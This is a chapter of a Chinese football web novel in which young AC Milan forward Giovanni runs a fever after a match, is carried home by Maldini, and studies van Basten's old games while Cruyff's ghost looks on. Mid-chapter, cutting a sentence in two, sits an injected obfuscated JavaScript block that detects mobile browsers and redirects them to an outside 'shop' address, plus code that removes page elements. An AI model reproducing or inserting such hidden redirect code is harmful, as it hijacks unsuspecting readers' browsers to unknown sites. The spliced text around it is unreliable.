原来人类也可以像烧开的水壶一样鸣叫啊。乔瓦尼脑袋昏沉地坐在更衣室长椅上，迷迷糊糊地想着。
皮尔洛与安布罗西尼正一左一右支撑着他的身体，而米兰队医塔瓦纳则捏着体温计发出高亢的叫声，“他烧到了38摄氏度！”
得知乔瓦尼发烧，扎切罗尼脸上的笑容瞬间凝固。他原本还想带着对方去参加赛后发布会——米兰14号本场只上场30分钟，却贡献了一传一射，还创造了一粒点球，几乎凭一己之力帮助米兰在圣西罗保住了一场平局。
“都别愣着了！”队医塔瓦纳挥舞着手臂指挥，“赶紧把他这身湿衣服换下来！快拿干毛巾来！水呢？他还需要补水！”
更衣室里顿时忙作一团。乔瓦尼晕乎乎地望着眼前晃动的人影，只觉得这场面莫名熟悉。
“他本来就疲劳，抵抗力下降，又在高强度的比赛中淋了雨，发烧是他身体发出的强烈休息信号。”塔瓦纳一边说，一边指挥队员们扒光乔瓦尼并用干毛巾把他裹紧，“乔，你现在觉得怎么样？你想吃退烧药吗？”
意大利最常用的退烧镇痛药Tachipirina，其主要成分对乙酰氨基酚并非兴奋剂，所以不在禁用名单中。不过乔瓦尼目前没有其他疼痛反应，或许体温可以自然下降。在这种情况下，吃退烧药也只是让这个年轻人好受一些。
“没关系”，乔瓦尼被皮尔洛和安布罗西尼紧紧夹在中间，声音闷在层层干毛巾里，“不用吃药，我休息下就好.……但安德烈亚、马西莫，你们真要勒死我了。”
皮尔洛与安布罗西尼此刻像在合抱一棵珍贵的树，隔着厚厚的毛巾把乔瓦尼固定在中间。安布罗西尼声音发颤，表情惊恐：“可你在发抖啊！”
“我没有，是安德烈亚在抖……”乔瓦尼闭着眼睛纠正道。
皮尔洛没有反驳，扭头朝淋浴间方向喊：“弗兰科！你还没找到吹风机吗？”
“来了来了！”科科举着嗡嗡作响的吹风机跑来，温热的风瞬间吹过乔瓦尼湿漉的发丝。
科斯塔库塔站在一旁焦躁地揉着头，几乎要在心里把今天多次失误的自己骂个狗血淋头，旁边的阿尔贝蒂尼理解地拍了拍他的肩膀。
扎切罗尼心虚地摸了摸鼻子，对站在身边的马尔蒂尼说道：“保罗，你直接带他回家吧。训练先不用急，让他好好休息。”
马尔蒂尼沉默地点了点头，随即转身去淋浴间快速冲洗了一下。与此同时，众人已七手八脚地帮乔瓦尼换好干衣服，全然无视他“我还没洗澡……”的小声抗议，接着便合力把他扶到了马尔蒂尼的背上。
乔瓦尼本想说自己还没烧到不能走路，可当马尔蒂尼稳稳托住他站起身来的那一刻，他忽然什么也不想争辩了，只是默默闭上了眼睛。
走出更衣室，马尔蒂尼拐进一条僻静的工作人员通道。背上的乔瓦尼呼吸粗重，比平时急促得多，隔着衣服他都能感觉到对方在发烫。
“冷吗？”马尔蒂尼问。
“不冷，他们给我穿了两条裤子，三件外套。”乔瓦尼趴在米兰队长肩头有些无奈地说道。
“这是第二次了”，只听马尔蒂尼低声说道，“我又没能在场上及时发现你的不适。”
上次对阵尤文图斯时就是这样，乔瓦尼撞击广告牌后继续默不作声地踢满了全场。而这次，他究竟是从什么时候开始发烧的？马尔蒂尼想，也许是在乔瓦尼进球之前，因为对方当时说过，他在替补席上时就觉得身体发冷了。
可即便如此，他还是被派上场，然后又一次拯救了米兰。
乔瓦尼听出了马尔蒂尼语气中的自责，但淋雨本来就有感冒发烧的风险，这场雨又不是米兰队长人工降下来的。
默默跟在两人身边的克鲁伊夫摇了摇头：“为了小马尔蒂尼着想，你这话放在心里想想就好，千万别当他面说出来。”
乔瓦尼不明所以，在意识里反问：“那你呢，约翰？你又在自责什么？”
克鲁伊夫被噎了一下，随即用一种近乎破罐子破摔的语气回道：“……因为我人工降雨了。”
乔瓦尼闻言勾了勾嘴角，慢慢睡了过去。
接下来的一周，乔瓦尼被队医明令禁止踏入训练场。
实际上，他在比赛结束后的第二天清晨就退了烧。但无论是扎切罗尼还是马尔蒂尼，在这个问题上都出乎意料地一致——严禁他提前归队训练。
“你的身体需要彻底恢复，不只是退烧这么简单。”马尔蒂尼的语气里没有留下任何商量的余地。
“好孩子，休息是为了以更好的状态回到赛场。”扎切罗尼也在电话里安抚道，“接下来的两场客场比赛我不会把你放进大名单，但当我们主场迎战罗马时，你需要以首发身份出战。”
米兰接下来将先后面对实力较弱的威尼斯和卡利亚里，而随后便是在圣西罗迎战强敌罗马。扎切罗尼心中早已盘算清楚，他宁愿让乔瓦尼多休整一段时间，也要确保他在对阵罗马时能够以百分之百的状态重返赛场。
不过休息期间，乔瓦尼并没有真的闲着。
“队长”，某天晚餐时，他忽然放下叉子，“你那里有范巴斯滕先生的比赛录像吗？”
马尔蒂尼对上年轻人期待的目光，淡淡说道：“米兰内洛的资料室有存档，明天我可以帮你带几盘回来。”
“不用这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797167|184144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么麻烦”，谁知玛丽莎却笑着打断道，“家里就有。”
饭后，这位可爱的母亲指挥着儿子从储物间搬出好几箱精心标记的录像带。“这些都是保罗升上一线队后我录的”，她温柔地拍拍纸箱，“你想看马尔科的比赛，挑那几个赛季的就好了。”
马尔蒂尼怔怔地望着这些录像带，他妈妈从来没提过她还做过这样的事情。
于是，白天乔瓦尼会在约翰与已卸任国家队主帅的切萨雷陪伴下看比赛；夜晚则属于马尔蒂尼。与两位教练专注于战术板上的推演不同，马尔蒂尼作为那些经典战役的亲历者，总能从球员视角揭示更多细节。
“难怪保罗会那么欣赏范巴斯滕先生。”乔瓦尼在心底对约翰感叹，“这样完美的前锋，又有谁会不喜欢呢？”
克鲁伊夫翘着腿靠在沙发上，轻笑一声：“对方的后卫？”说实话这也是他第一次如此系统地观看范巴斯滕在米兰的比赛。
“那他们在国家队比赛里交过手吗？”乔瓦尼追问道。
克鲁伊夫歪着头想了想：“我印象中他们应该没在重要赛事上碰过，不过友谊赛大概还是踢过一两场的。”
乔瓦尼点了点头，心里默默想道，反正他和马尔蒂尼注定不会在正式比赛中兵戎相见。
这个念头刚落下，克鲁伊夫就想张开口说些什么，但他看着小儿子脸上的笑意，又一次把话憋回了心里。
10月4日，米兰客场2比0战胜威尼斯，但媒体对红黑军团的表现并不满意，认为米兰在这场比赛中的表现距离人们对豪门所期待的那种行云流水、摧枯拉朽的表现仍有差距。乔瓦尼觉得这可能是因为米兰在领先后便开始保守，而威尼斯反而凭借其侵略性与顽强逐渐占据主动。
10月10日，意大利国家队在2000年欧洲杯预选赛中2比0战胜瑞士。米兰这次只有马尔蒂尼与阿尔贝蒂尼被征召，落选的科斯塔库塔则留在米兰陪乔瓦尼收看了比赛转播。在这场比赛中，年仅20岁的布冯成为意大利首发门将，而斑马王子皮耶罗梅开二度。
10月18日，米兰在联赛中0比1输给卡利亚里。上半场，米兰门将莱曼在禁区内犯规送出点球，而主帅扎切罗尼在对方主罚点球前用老将罗西将德国人换下，这一临阵换将的决策，也成为了媒体热议的话题。
未能随队出征的乔瓦尼自然不清楚当时场边的具体情形。但米兰官方随后发布声明，将此次换人解释为“莱曼遭遇轻伤，出于保护球员的目的进行调整”。
可是在10月25日对阵罗马前，扎切罗尼直接把老将罗西放进了首发名单。乔瓦尼隐约觉得，莱曼或许已经失去了米兰主帅的信任。